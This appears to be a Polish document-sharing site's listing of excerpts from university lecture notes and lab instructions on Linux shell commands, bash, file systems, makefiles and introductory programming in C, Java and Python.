SYSTEMY OPERACYJNE I laboratorium 3 (Informatyka stacjonarne 2 rok, semestr zimowy) Procesy i shell. Polecenia ps, sleep, exit, jobs, bg, fg, top, kill, bash, tcsh, which, type, whereis, touch. Metaznak & i >>. Dowiązania miękkie i twarde. Proces jest programem, który jest wykonywany

Bardziej szczegółowo

Szkolenie AGH Linux. Nie bój się konsoli i zdaj kolosa na 5.0!!! Tytuł wcale nie przesadzony ;)

Szkolenie AGH Linux. Nie bój się konsoli i zdaj kolosa na 5.0!!! Tytuł wcale nie przesadzony ;) Szkolenie AGH Linux Nie bój się konsoli i zdaj kolosa na 5.0!!! Tytuł wcale nie przesadzony ;) O mnie Imię i nazwisko: Pieczyrak Paweł Kryptonim: Morfeusz888 Osiągnięcia Administrator pomocniczy na publicznym

Bardziej szczegółowo

Użytkownicy I. Użytkownik. Głównym celem istnienia użytkowników i grup w systemie jest utrzymanie porządku i separacja uprawnień.

Użytkownicy I. Użytkownik. Głównym celem istnienia użytkowników i grup w systemie jest utrzymanie porządku i separacja uprawnień. Użytkownicy I Głównym celem istnienia użytkowników i grup w systemie jest utrzymanie porządku i separacja uprawnień. Użytkownik login (nazwa) UID identyfikator numeryczny przynależność do grup, w tym dokładnie

Bardziej szczegółowo

Systemy Operacyjne I: System plików

Systemy Operacyjne I: System plików Politechnika Poznańska 18 marca 2014 Materiały Prezentacja oraz inne materiały zostały przygotowane na podstawie: Użytkowanie systemu operacyjnego UNIX - dr D.Wawrzyniak Systemy operacyjne - skrypt - dr

Bardziej szczegółowo

Systemy operacyjne. Instrukcja laboratoryjna. Ćwiczenie 1: Polecenia systemu UNIX/LINUX. Opracował: dr inż. Piotr Szpryngier

Systemy operacyjne. Instrukcja laboratoryjna. Ćwiczenie 1: Polecenia systemu UNIX/LINUX. Opracował: dr inż. Piotr Szpryngier Systemy operacyjne Instrukcja laboratoryjna Ćwiczenie 1: Polecenia systemu UNIX/LINUX Opracował: dr inż. Piotr Szpryngier Olsztyn 2009 1 Wprowadzenie. Cel zajęć praktycznych. Wymagania stawiane studentom

Bardziej szczegółowo

Konsola Linux. autor: Mariusz Barnaś

Konsola Linux. autor: Mariusz Barnaś Konsola Linux autor: Mariusz Barnaś Wstęp Pierwsze uruchomienie Operacje na plikach Poruszanie się po katalogach Tworzenie plików i katalogów Wypisanie zawartości katalogu Dowiązania między plikami Łączenie

Bardziej szczegółowo

Make jest programem komputerowym automatyzującym proces kompilacji programów, na które składa się wiele zależnych od siebie plików.

Make jest programem komputerowym automatyzującym proces kompilacji programów, na które składa się wiele zależnych od siebie plików. Spis treści 1 Krótkie wprowadzenie do makefile'a 1.1 Typowa reguła programu make 1.2 Zmienne w pliku Makefile 1.3 Zmienne standardowe 1.4 Zmienne automatyczne 1.5 Więcej o regułach 1.5.1 Reguły z wzorcem

Bardziej szczegółowo

WPROWADZENIE DO INFORMATYKI

WPROWADZENIE DO INFORMATYKI J.NAWROCKI, M. ANTCZAK, H. ĆWIEK, W. FROHMBERG, A. HOFFA, M. KIERZYNKA, S. WĄSIK WPROWADZENIE DO INFORMATYKI PROGRAMOWANIE IMPERATYWNE ŚRODOWISKO URUCHOMIENIOWE I. INSTALACJA I KONFIGURACJA ECLIPSE CDT

Bardziej szczegółowo

Sieci i systemy operacyjne I Ćwiczenie 1. Podstawowe polecenia systemu Unix

Sieci i systemy operacyjne I Ćwiczenie 1. Podstawowe polecenia systemu Unix Wydział Zarządzania i Modelowania Komputerowego Specjalność: Informatyka Stosowana Rok III Semestr V 1. Logowanie w systemie Unix. Sieci i systemy operacyjne I Ćwiczenie 1. Podstawowe polecenia systemu

Bardziej szczegółowo

System operacyjny UNIX system plików. mgr Michał Popławski, WFAiIS

System operacyjny UNIX system plików. mgr Michał Popławski, WFAiIS System operacyjny UNIX system plików System plików systemu UNIX (s5fs) System plików ma strukturę drzewa. Na samym szczycie znajduje się korzeń (root), symbolicznie przedstawiany jako /. Z punktu widzenia

Bardziej szczegółowo

Wykład VII. Programowanie. dr inż. Janusz Słupik. Gliwice, 2014. Wydział Matematyki Stosowanej Politechniki Śląskiej. c Copyright 2014 Janusz Słupik

Wykład VII. Programowanie. dr inż. Janusz Słupik. Gliwice, 2014. Wydział Matematyki Stosowanej Politechniki Śląskiej. c Copyright 2014 Janusz Słupik Wykład VII Wydział Matematyki Stosowanej Politechniki Śląskiej Gliwice, 2014 c Copyright 2014 Janusz Słupik Kompilacja Kompilator C program do tłumaczenia kodu źródłowego na język maszynowy. Preprocesor

Bardziej szczegółowo

Programowanie aplikacji współbieżnych i rozproszonych w systemie Linux

Programowanie aplikacji współbieżnych i rozproszonych w systemie Linux Programowanie aplikacji współbieżnych i rozproszonych w systemie Linux 1 INSTYTUT INFORMATYKI, AUTOMATYKI I ROBOTYKI POLITECHNIKI WROCŁAWSKIEJ Raport serii Sprawozdania nr: / 2013 Na prawach rękopisu Programowanie

Bardziej szczegółowo

Tworzenie oprogramowania

Tworzenie oprogramowania Tworzenie oprogramowania dr inż. Krzysztof Konopko e-mail: k.konopko@pb.edu.pl 1 Tworzenie oprogramowania dla systemów wbudowanych Program wykładu: Tworzenie aplikacji na systemie wbudowanym. Konfiguracja

Bardziej szczegółowo

BASH - LINIA POLECEŃ. Bioinformatyka 2018/2019

BASH - LINIA POLECEŃ. Bioinformatyka 2018/2019 BASH - LINIA POLECEŃ Bioinformatyka 2018/2019 PODSTAWOWE DEFINICJE Linux system operacyjny, które oferuje kompletne środowisko programistyczne Powłoka interfejs wiersza poleceń zapewniający komunikację

Bardziej szczegółowo

Programowanie Proceduralne

Programowanie Proceduralne Programowanie Proceduralne Makefile Bożena Woźna-Szcześniak bwozna@gmail.com Akademia im. Jana Długosza Wykład 14 Co to jest Makefile Makefile jest plikiem reguł dla programu make. Wykorzystywany jest

Bardziej szczegółowo

Programowanie Strukturalne i Obiektowe Słownik podstawowych pojęć 1 z 5 Opracował Jan T. Biernat

Programowanie Strukturalne i Obiektowe Słownik podstawowych pojęć 1 z 5 Opracował Jan T. Biernat Programowanie Strukturalne i Obiektowe Słownik podstawowych pojęć 1 z 5 Program, to lista poleceń zapisana w jednym języku programowania zgodnie z obowiązującymi w nim zasadami. Celem programu jest przetwarzanie

Bardziej szczegółowo

SYSTEMY OPERACYJNE I SIECI KOMPUTEROWE

SYSTEMY OPERACYJNE I SIECI KOMPUTEROWE Klasyczne polecenia: ls [opcje][katalog][pliki] opcje podstawowe -a wyświetla również pliki ukryte -b znaki niedrukowane jako liczby ósemkowe -c sortuje dane zgodnie z datą zmiany -k podaje wielkość pliku

Bardziej szczegółowo

System operacyjny UNIX Ćwiczenie 1. Podstawowe polecenia systemu Unix

System operacyjny UNIX Ćwiczenie 1. Podstawowe polecenia systemu Unix Wydział Mechatroniki i Budowy Maszyn Specjalność: Automatyka i Robotyka Rok II Semestr IV 1. Logowanie w systemie Unix. System operacyjny UNIX Ćwiczenie 1. Podstawowe polecenia systemu Unix Do zalogowania

Bardziej szczegółowo

Wstęp do systemów wielozadaniowych laboratorium 02 Praca w systemie plików

Wstęp do systemów wielozadaniowych laboratorium 02 Praca w systemie plików Wstęp do systemów wielozadaniowych laboratorium 02 Praca w systemie plików Jarosław Piersa Wydział Matematyki i Informatyki, Uniwersytet Mikołaja Kopernika 2013-10-08 Co to jest konsola / terminal UNIX-owy?

Bardziej szczegółowo

Wstęp do programowania. Wykład 1

Wstęp do programowania. Wykład 1 Wstęp do programowania Wykład 1 1 / 49 Literatura Larry Ullman, Andreas Signer. Programowanie w języku C++. Walter Savitch, Kenrick Mock. Absolute C++. Jerzy Grębosz. Symfonia C++. Standard. Stephen Prata.

Bardziej szczegółowo

Komendy Ubuntu MARCEL GAŃCZARCZYK 2T I 1

Komendy Ubuntu MARCEL GAŃCZARCZYK 2T I 1 Komendy Ubuntu MARCEL GAŃCZARCZYK 2T I 1 Do wykonania prezentacji został użyty: Ubuntu 17.10.1 w wersji x64 zainstalowany na pendrivie. AddUser Wymagane uprawnienia: TAK Jest to polecenie służące do tworzenia

Bardziej szczegółowo

Trochę o plikach wsadowych (Windows)

Trochę o plikach wsadowych (Windows) Trochę o plikach wsadowych (Windows) Zmienne środowiskowe Zmienną środowiskową można ustawić na stałe w systemie (Panel sterowania->system- >Zaawansowane ustawienia systemu->zmienne środowiskowe) lub też

Bardziej szczegółowo

Programowanie w języku Python. Grażyna Koba

Programowanie w języku Python. Grażyna Koba Programowanie w języku Python Grażyna Koba Kilka definicji Program komputerowy to ciąg instrukcji języka programowania, realizujący dany algorytm. Język programowania to zbiór określonych instrukcji i

Bardziej szczegółowo

Katedra Elektrotechniki Teoretycznej i Informatyki. wykład 12 - sem.iii. M. Czyżak

Katedra Elektrotechniki Teoretycznej i Informatyki. wykład 12 - sem.iii. M. Czyżak Katedra Elektrotechniki Teoretycznej i Informatyki wykład 12 - sem.iii M. Czyżak Język C - preprocesor Preprocesor C i C++ (cpp) jest programem, który przetwarza tekst programu przed przekazaniem go kompilatorowi.

Bardziej szczegółowo

Język JAVA podstawy. wykład 1, część 2. Jacek Rumiński. Politechnika Gdańska, Inżynieria Biomedyczna

Język JAVA podstawy. wykład 1, część 2. Jacek Rumiński. Politechnika Gdańska, Inżynieria Biomedyczna Język JAVA podstawy wykład 1, część 2 1 Język JAVA podstawy Plan wykładu: 1. Krótka historia Javy 2. Jak przygotować sobie środowisko programistyczne 3. Opis środowiska JDK 4. Tworzenie programu krok po

Bardziej szczegółowo

Podstawy programowania skrót z wykładów:

Podstawy programowania skrót z wykładów: Podstawy programowania skrót z wykładów: // komentarz jednowierszowy. /* */ komentarz wielowierszowy. # include dyrektywa preprocesora, załączająca biblioteki (pliki nagłówkowe). using namespace

Bardziej szczegółowo

Java jako język programowania

Java jako język programowania Java jako język programowania Interpretowany programy wykonują się na wirtualnej maszynie (JVM Java Virtual Machine) Składnia oparta o język C++ W pełni zorientowany obiektowo (wszystko jest obiektem)

Bardziej szczegółowo

Materiały wprowadzające. dr inż. Arkadiusz Chrobot

Materiały wprowadzające. dr inż. Arkadiusz Chrobot Materiały wprowadzające dr inż. Arkadiusz Chrobot 25 lutego 2019 Spis treści Wprowadzenie 1 1. ssh 1 2. scp 2 3. Linux Cross Reference 2 Wprowadzenie W tych materiałach wstępnych zawarte są krótkie opisy

Bardziej szczegółowo

Programowanie niskopoziomowe

Programowanie niskopoziomowe W. Complak, J.Kniat, M. Antczak, K. Kwarciak, G. Palik, A. Rybarczyk, Ł. Wielebski Materiały Programowanie niskopoziomowe http://www.cs.put.poznan.pl/arybarczyk/c_w_0.pdf Spis treści 1. Instalacja środowiska

Bardziej szczegółowo

MentorGraphics ModelSim

MentorGraphics ModelSim MentorGraphics ModelSim 1. Konfiguracja programu Wszelkie zmiany parametrów systemu symulacji dokonywane są w menu Tools -> Edit Preferences... Wyniki ustawień należy zapisać w skrypcie startowym systemu

Bardziej szczegółowo

Podstawy użytkowania Linux a

Podstawy użytkowania Linux a Podstawy użytkowania Linux a Systemy Operacyjne Mateusz Hołenko 3 marca 2013 Plan zajęć Rozpoczynanie pracy z systemem Podstawowe polecenia Pomoc systemowa Interpreter poleceń Mateusz Hołenko Podstawy

Bardziej szczegółowo

Niektóre katalogi są standardowymi katalogami zarezerwowanymi do użytku przez system. Znaczenie wybranych katalogów systemowych jest następujące:

Niektóre katalogi są standardowymi katalogami zarezerwowanymi do użytku przez system. Znaczenie wybranych katalogów systemowych jest następujące: Podstawy systemu Linux Linux jest systemem operacyjnym dla komputerów PC, opracowany na początku lat dziewięćdziesiątych przez Linusa Torvaldsa. Podobnie jak Unix jest on systemem wielozadaniowym - umożliwia

Bardziej szczegółowo

Programowanie I. O czym będziemy mówili. Plan wykładu nieco dokładniej. Plan wykładu z lotu ptaka. Podstawy programowania w językach. Uwaga!

Programowanie I. O czym będziemy mówili. Plan wykładu nieco dokładniej. Plan wykładu z lotu ptaka. Podstawy programowania w językach. Uwaga! Programowanie I O czym będziemy mówili Podstawy programowania w językach proceduralnym ANSI C obiektowym Java Uwaga! podobieństwa w podstawowej strukturze składniowej (zmienne, operatory, instrukcje sterujące...)

Bardziej szczegółowo

BASH - WPROWADZENIE Bioinformatyka 4

BASH - WPROWADZENIE Bioinformatyka 4 BASH - WPROWADZENIE Bioinformatyka 4 DLACZEGO BASH? Praca na klastrach obliczeniowych Brak GUI Środowisko programistyczne Szybkie przetwarzanie danych Pisanie własnych skryptów W praktyce przetwarzanie

Bardziej szczegółowo

Podstawy Programowania.

Podstawy Programowania. Podstawy Programowania http://www.saltbox.com/img/under_the_hood.png O mnie... dr inż. Łukasz Graczykowski Zakład Fizyki Jądrowej Wydział Fizyki Politechniki Warszawskiej lgraczyk@if.pw.edu.pl www.if.pw.edu.pl/~lgraczyk/wiki

Bardziej szczegółowo

Systemy Operacyjne I: Procesy

Systemy Operacyjne I: Procesy Politechnika Poznańska 4 kwietnia 2013 Materiały Prezentacja oraz inne materiały zostały przygotowane na podstawie: Użytkowanie systemu operacyjnego UNIX - dr D.Wawrzyniak Systemy operacyjne - skrypt -

Bardziej szczegółowo

Programowanie aplikacji czasu rzeczywistego w systemie QNX6 Neutrino z wykorzystaniem platformy Vortex 1

Programowanie aplikacji czasu rzeczywistego w systemie QNX6 Neutrino z wykorzystaniem platformy Vortex 1 Programowanie aplikacji czasu rzeczywistego w systemie QNX6 Neutrino z wykorzystaniem platformy Vortex 1 KATEDRA INFORMATYKI TECHNICZNEJ POLITECHNIKI WROCŁAWSKIEJ Raport serii Sprawozdania nr: / 2017 Programowanie

Bardziej szczegółowo

Automatyzacja kompilacji. Automatyzacja kompilacji 1/40

Automatyzacja kompilacji. Automatyzacja kompilacji 1/40 Automatyzacja kompilacji Automatyzacja kompilacji 1/40 Automatyzacja kompilacji 2/40 Wstęp Polecenia kompilacji gcc -Wall -c komunikat.c -o komunikat.o gcc -Wall -c main.c -o main.o gcc -Wall -c test.c

Bardziej szczegółowo

Materiały wprowadzające. dr inż. Arkadiusz Chrobot

Materiały wprowadzające. dr inż. Arkadiusz Chrobot Materiały wprowadzające dr inż. Arkadiusz Chrobot 26 lutego 2017 Spis treści Wprowadzenie 1 1. ssh 1 2. scp 1 3. Linux Cross Reference 2 Wprowadzenie W tych materiałach wstępnych zawarte są krótkie opisy

Bardziej szczegółowo

znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main.

znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main. Część XVI C++ Funkcje Jeśli nasz program rozrósł się już do kilkudziesięciu linijek, warto pomyśleć o jego podziale na mniejsze części. Poznajmy więc funkcje. Szybko się przekonamy, że funkcja to bardzo

Bardziej szczegółowo

Cechy systemu Linux. Logowanie się do systemu. Powłoka systemowa

Cechy systemu Linux. Logowanie się do systemu. Powłoka systemowa Cechy systemu Linux pełna wielozadaniowość wielu użytkowników w tym samym czasie może wykonywać kilka zadań na tym samym komputerze; pamięć wirtualna Linux może używać części dysku twardego jako pamięci

Bardziej szczegółowo

Wprowadzenie do programowania w języku Visual Basic. Podstawowe instrukcje języka

Wprowadzenie do programowania w języku Visual Basic. Podstawowe instrukcje języka Wprowadzenie do programowania w języku Visual Basic. Podstawowe instrukcje języka 1. Kompilacja aplikacji konsolowych w środowisku programistycznym Microsoft Visual Basic. Odszukaj w menu startowym systemu

Bardziej szczegółowo

ZAJĘCIA Komendy Linux WB -> w konsoli tty2 finger exit man pwd pwd finger ls man ls. -> po 2 minusach interpretacja słowa

ZAJĘCIA Komendy Linux WB -> w konsoli tty2 finger exit man pwd pwd finger ls man ls. -> po 2 minusach interpretacja słowa ZAJĘCIA Komendy Linux WB -> w konsoli tty2 finger exit man pwd pwd finger man -l -a -al -> po 2 minusach interpretacja słowa --all -h -> wyświetlanie informacji w innych lokalizacjach -> (z pomocą klawisz

Bardziej szczegółowo

W pierwszej kolumnie wyświetlany jest identyfikator procesu (pid)

W pierwszej kolumnie wyświetlany jest identyfikator procesu (pid) Ćwiczenie 2 Cel ćwiczenia: Poznanie mechanizmów wejścia/wyjścia, zapoznanie się ze sposobami wyświetlania plików tekstowych i wyszukiwania informacji, podstawowe operacje na plikach tekstowych, zmienne

Bardziej szczegółowo

1.Wstęp. 2.Generowanie systemu w EDK

1.Wstęp. 2.Generowanie systemu w EDK 1.Wstęp Celem niniejszego ćwiczenia jest zapoznanie z możliwościami debuggowania kodu na platformie MicroBlaze oraz zapoznanie ze środowiskiem wspomagającym prace programisty Xilinx Platform SDK (Eclipse).

Bardziej szczegółowo

Programowanie obiektowe

Programowanie obiektowe Programowanie obiektowe Laboratorium 1. Wstęp do programowania w języku Java. Narzędzia 1. Aby móc tworzyć programy w języku Java, potrzebny jest zestaw narzędzi Java Development Kit, który można ściągnąć

Bardziej szczegółowo

Programowanie w języku C++ Grażyna Koba

Programowanie w języku C++ Grażyna Koba Programowanie w języku C++ Grażyna Koba Kilka definicji: Program komputerowy to ciąg instrukcji języka programowania, realizujący dany algorytm. Język programowania to zbiór określonych instrukcji i zasad

Bardziej szczegółowo

1 Zapoznanie się ze środowiskiem Xenomai.

1 Zapoznanie się ze środowiskiem Xenomai. 1 Zapoznanie się ze środowiskiem Xenomai. Wszystkie ćwiczenia oraz programy opracowane zostały w Xenomai w wersji 2.5.6. Dlatego też odwołania do dokumentacji dotyczą dokumentu pod adresem: http://www.xenomai.org/documentation/xenomai-2.5/html/api/

Bardziej szczegółowo

Podstawy informatyki

Podstawy informatyki Podstawy informatyki WYKŁAD nr 02 Fizyka Techniczna, WFT PP Michał Hermanowicz Zakład Fizyki Obliczeniowej, Instytut Fizyki, Politechnika Poznańska Rok akademicki 2018/2019 M. Hermanowicz (IF PP) Podstawy

Bardziej szczegółowo

Laboratorium 3: Preprocesor i funkcje ze zmienną liczbą argumentów. mgr inż. Arkadiusz Chrobot

Laboratorium 3: Preprocesor i funkcje ze zmienną liczbą argumentów. mgr inż. Arkadiusz Chrobot Laboratorium 3: Preprocesor i funkcje ze zmienną liczbą argumentów mgr inż. Arkadiusz Chrobot 10 listopada 2010 1 Preprocesor Preprocesor jest programem uruchamianym przed właściwym procesem kompilacji

Bardziej szczegółowo

METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE. Wykład 02

METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE. Wykład 02 METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE Wykład 02 NAJPROSTSZY PROGRAM /* (Prawie) najprostszy przykład programu w C */ /*==================*/ /* Między tymi znaczkami można pisać, co się

Bardziej szczegółowo

1 Przygotował: mgr inż. Maciej Lasota

1 Przygotował: mgr inż. Maciej Lasota Laboratorium nr 1 1/7 Język C Instrukcja laboratoryjna Temat: Programowanie w powłoce bash (shell scripting) 1 Przygotował: mgr inż. Maciej Lasota 1) Wprowadzenie do programowania w powłoce Skrypt powłoki

Bardziej szczegółowo

Jądro Powłoka System plików Programy użytkowe

Jądro Powłoka System plików Programy użytkowe LINUX Jądro Powłoka System plików Programy użytkowe / tmp etc dev bin usr home proc bin lib ułatwienia pliki ukryte pol1;pol2 pol1 \ arg1 \ arg2 ~/.. $HOME.nazwa ls -a metaznaki *? [.] maskowanie

Bardziej szczegółowo

Powłoka I. Popularne implementacje. W stylu sh (powłoki zdefiniowanej w POSIX) W stylu csh. bash (najpopularniejsza) zsh ksh mksh.

Powłoka I. Popularne implementacje. W stylu sh (powłoki zdefiniowanej w POSIX) W stylu csh. bash (najpopularniejsza) zsh ksh mksh. Powłoka I Popularne implementacje W stylu sh (powłoki zdefiniowanej w POSIX) bash (najpopularniejsza) zsh ksh mksh W stylu csh csh tcsh 12 października 2018 1 / 16 Powłoka II Zachęta Komunikuje się z użytkownikiem

Bardziej szczegółowo

Algorytm. a programowanie -

Algorytm. a programowanie - Algorytm a programowanie - Program komputerowy: Program komputerowy można rozumieć jako: kod źródłowy - program komputerowy zapisany w pewnym języku programowania, zestaw poszczególnych instrukcji, plik

Bardziej szczegółowo

Optymalizacja programów Open Source. Profilery wysokiego poziomu część 2. Krzysztof Lichota

Optymalizacja programów Open Source. Profilery wysokiego poziomu część 2. Krzysztof Lichota Optymalizacja programów Open Source Profilery wysokiego poziomu część 2 Krzysztof Lichota lichota@mimuw.edu.pl gprof gprof Pomiar działa na zasadzie instrumentacji kompilowanego kodu (wejścia i wyjścia

Bardziej szczegółowo

Dodatki. Dodatek A Octave. Język maszyn

Dodatki. Dodatek A Octave. Język maszyn Dodatki Dodatek A Octave Przykłady programów zostały opracowane w środowisku programistycznym Octave 3.6.2 z interfejsem graficznym GNU Octave 1.5.4. Octave jest darmowym środowiskiem programistycznym

Bardziej szczegółowo

Usługi sieciowe systemu Linux

Usługi sieciowe systemu Linux Usługi sieciowe systemu Linux 1. Serwer WWW Najpopularniejszym serwerem WWW jest Apache, dostępny dla wielu platform i rozprowadzany w pakietach httpd. Serwer Apache bardzo często jest wykorzystywany do

Bardziej szczegółowo

Bash - wprowadzenie. Bash - wprowadzenie 1/39

Bash - wprowadzenie. Bash - wprowadzenie 1/39 Bash - wprowadzenie Bash - wprowadzenie 1/39 Bash - wprowadzenie 2/39 Czym jest bash? Rysunek : Zadanie powłoki to ukrycie wywołań systemowych Bash - wprowadzenie 3/39 Czym jest bash? Przykład polecenia:

Bardziej szczegółowo

host name: 192.168.11.110 protokół SSH System plików - wprowadzenie Ścieżki dostępu

host name: 192.168.11.110 protokół SSH System plików - wprowadzenie Ścieżki dostępu Ćw. 13 Linux - operacje systemu plików 1. Ściągnąć program PUTTY ze strony z materiałami dydaktycznymi - zapisać, rozpakować skompresowany plik i uruchomić. 2. Skonfigurować host name: host name: 192.168.11.110

Bardziej szczegółowo

Skrypty powłoki Skrypty Najcz ciej u ywane polecenia w skryptach:

Skrypty powłoki Skrypty Najcz ciej u ywane polecenia w skryptach: Skrypty powłoki Skrypty są zwykłymi plikami tekstowymi, w których są zapisane polecenia zrozumiałe dla powłoki. Zadaniem powłoki jest przetłumaczenie ich na polecenia systemu. Aby przygotować skrypt, należy:

Bardziej szczegółowo

Wstęp do programowania

Wstęp do programowania Wstęp do programowania Przemysław Gawroński D-10, p. 234 Wykład 1 8 października 2018 (Wykład 1) Wstęp do programowania 8 października 2018 1 / 12 Outline 1 Literatura 2 Programowanie? 3 Hello World (Wykład

Bardziej szczegółowo

Podstawy programowania, Poniedziałek , 8-10 Projekt, część 1

Podstawy programowania, Poniedziałek , 8-10 Projekt, część 1 Podstawy programowania, Poniedziałek 30.05.2016, 8-10 Projekt, część 1 1. Zadanie Projekt polega na stworzeniu logicznej gry komputerowej działającej w trybie tekstowym o nazwie Minefield. 2. Cele Celem

Bardziej szczegółowo

Podstawy Programowania

Podstawy Programowania Podstawy Programowania http://www.saltbox.com/img/under_the_hood.png Any sufficiently advanced technology is indistinguishable from magic. Arthur C. Clarke O mnie... dr inż. Małgorzata Janik Zakład Fizyki

Bardziej szczegółowo

Podstawy programowania. Wykład 9 Preprocesor i modularna struktura programów. Krzysztof Banaś Podstawy programowania 1

Podstawy programowania. Wykład 9 Preprocesor i modularna struktura programów. Krzysztof Banaś Podstawy programowania 1 Podstawy programowania. Wykład 9 Preprocesor i modularna struktura programów Krzysztof Banaś Podstawy programowania 1 Programy Większość programów w C stanowią rozbudowane kody, definiujące wiele funkcji

Bardziej szczegółowo

Pracownia Informatyczna I ORGANIZACJA ZAJĘĆ, ZASADY ZALICZENIA

Pracownia Informatyczna I ORGANIZACJA ZAJĘĆ, ZASADY ZALICZENIA Pracownia Informatyczna I ORGANIZACJA ZAJĘĆ, ZASADY ZALICZENIA 1 Organizacja zajęć ½ semestru mgr Magda Mielczarek Katedra Genetyki, pokój nr 14 e-mail: magda.mielczarek@up.wroc.pl tel: 71-320-57-51 Slajdy

Bardziej szczegółowo

Ćwiczenia Linux konsola

Ćwiczenia Linux konsola Ćwiczenia Linux konsola Ćwiczenie wstępne: Wyczyść terminal za pomocą polecenia clear. Ćwiczenie 1. Wyświetlanie pomocy 1. Wyświetl pomoc za pomocą poleceń man man oraz info (wyjście z pomocy: klawisz

Bardziej szczegółowo

Programowanie obiektowe zastosowanie języka Java SE

Programowanie obiektowe zastosowanie języka Java SE Programowanie obiektowe zastosowanie języka Java SE Wstęp do programowania obiektowego w Javie Autor: dr inŝ. 1 Java? Java język programowania obiektowo zorientowany wysokiego poziomu platforma Javy z

Bardziej szczegółowo

Architektura systemów informatycznych WPROWADZENIE DO SYSTEMU LINUX

Architektura systemów informatycznych WPROWADZENIE DO SYSTEMU LINUX Architektura systemów informatycznych WPROWADZENIE DO SYSTEMU LINUX Materiały: www.staff.amu.edu.pl/~evert/asi.php W razie nieobecności proszę o zapoznanie się z materiałem z ćwiczeń w domu Zaliczenie

Bardziej szczegółowo

Rys. 1. Widok uruchomienia polecenia apt-get install build-essential. Rys. 2. Widok uruchomienia polecenia apt-get install apache2

Rys. 1. Widok uruchomienia polecenia apt-get install build-essential. Rys. 2. Widok uruchomienia polecenia apt-get install apache2 1. Instalacja serwera WWW Aby zainstalować serwer WWW w systemie Linux, należy wykorzystać menedżer pakietów apt-get. Polecenia które należy wpisać w terminalu użytkownika root 1 : apt-get install build-essential

Bardziej szczegółowo

Programy użytkowe (utilities)

Programy użytkowe (utilities) nm wypisuje symbole w plikach wykonywalnych, plikach wynikowych (*.o) lub ich kolekcjach (bibliotekach, *.a). Składnia: nm plik. Plik wynikowy, z którego pochodzi symbol. Wartość symbolu. Typ symbolu (najczęściej

Bardziej szczegółowo

Podstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1

Podstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1 Podstawy programowania. Wykład Funkcje Krzysztof Banaś Podstawy programowania 1 Programowanie proceduralne Pojęcie procedury (funkcji) programowanie proceduralne realizacja określonego zadania specyfikacja

Bardziej szczegółowo

VinCent Administrator

VinCent Administrator VinCent Administrator Moduł Zarządzania podatnikami Krótka instrukcja obsługi ver. 1.01 Zielona Góra, grudzień 2005 1. Przeznaczenie programu Program VinCent Administrator przeznaczony jest dla administratorów

Bardziej szczegółowo

IdyllaOS. Prosty, alternatywny system operacyjny. www.idyllaos.org. Autor: Grzegorz Gliński. Kontakt: milyges@gmail.com

IdyllaOS. Prosty, alternatywny system operacyjny. www.idyllaos.org. Autor: Grzegorz Gliński. Kontakt: milyges@gmail.com IdyllaOS www.idyllaos.org Prosty, alternatywny system operacyjny Autor: Grzegorz Gliński Kontakt: milyges@gmail.com Co to jest IdyllaOS? IdyllaOS jest to mały, prosty, uniksopodobny, wielozadaniowy oraz

Bardziej szczegółowo

Ćwiczenie nr 14: System Linux

Ćwiczenie nr 14: System Linux Ćwiczenie nr 14: System Linux Barbara Łukawska, Adam Krechowicz, Tomasz Michno Czym jest Linux? Słowo Linux może oznaczać zarówno jądro systemowe Linux, jak i całą rodzinę systemów operacyjnych, które

Bardziej szczegółowo

Sposoby wykrywania i usuwania błędów. Tomasz Borzyszkowski

Sposoby wykrywania i usuwania błędów. Tomasz Borzyszkowski Sposoby wykrywania i usuwania błędów Tomasz Borzyszkowski Mylić się jest rzeczą ludzką Typy błędów: błędy specyfikacji: źle określone wymagania błędy projektowe: nieodpowiednie struktury danych i algorytmy

Bardziej szczegółowo

Laboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach

Laboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach Laboratorium Systemów Operacyjnych Ćwiczenie 4. Operacje na plikach Wykonanie operacji wymaga wskazania pliku, na którym operacja ma zostać wykonana. Plik w systemie LINUX identyfikowany jest przez nazwę,

Bardziej szczegółowo

Wstęp do systemu Linux

Wstęp do systemu Linux M. Trzebiński Linux 1/8 Wstęp do systemu Linux Maciej Trzebiński Instytut Fizyki Jądrowej Polskiej Akademii Nauk Praktyki studenckie na LHC IFJ PAN 6lipca2015 Uruchomienie maszyny w CC1 M. Trzebiński Linux

Bardziej szczegółowo

Laboratorium 1. I. Zainstaluj program Eclipse (wersja C/C++ w odpowiednim systemie operacyjnym

Laboratorium 1. I. Zainstaluj program Eclipse (wersja C/C++   w odpowiednim systemie operacyjnym Laboratorium 1 I. Zainstaluj program Eclipse (wersja C/C++ http://www.eclipse.org/downloads/) w odpowiednim systemie operacyjnym II. Zainstaluj narzędzia Windows CDT (w Eclipse jako software site dodajemy

Bardziej szczegółowo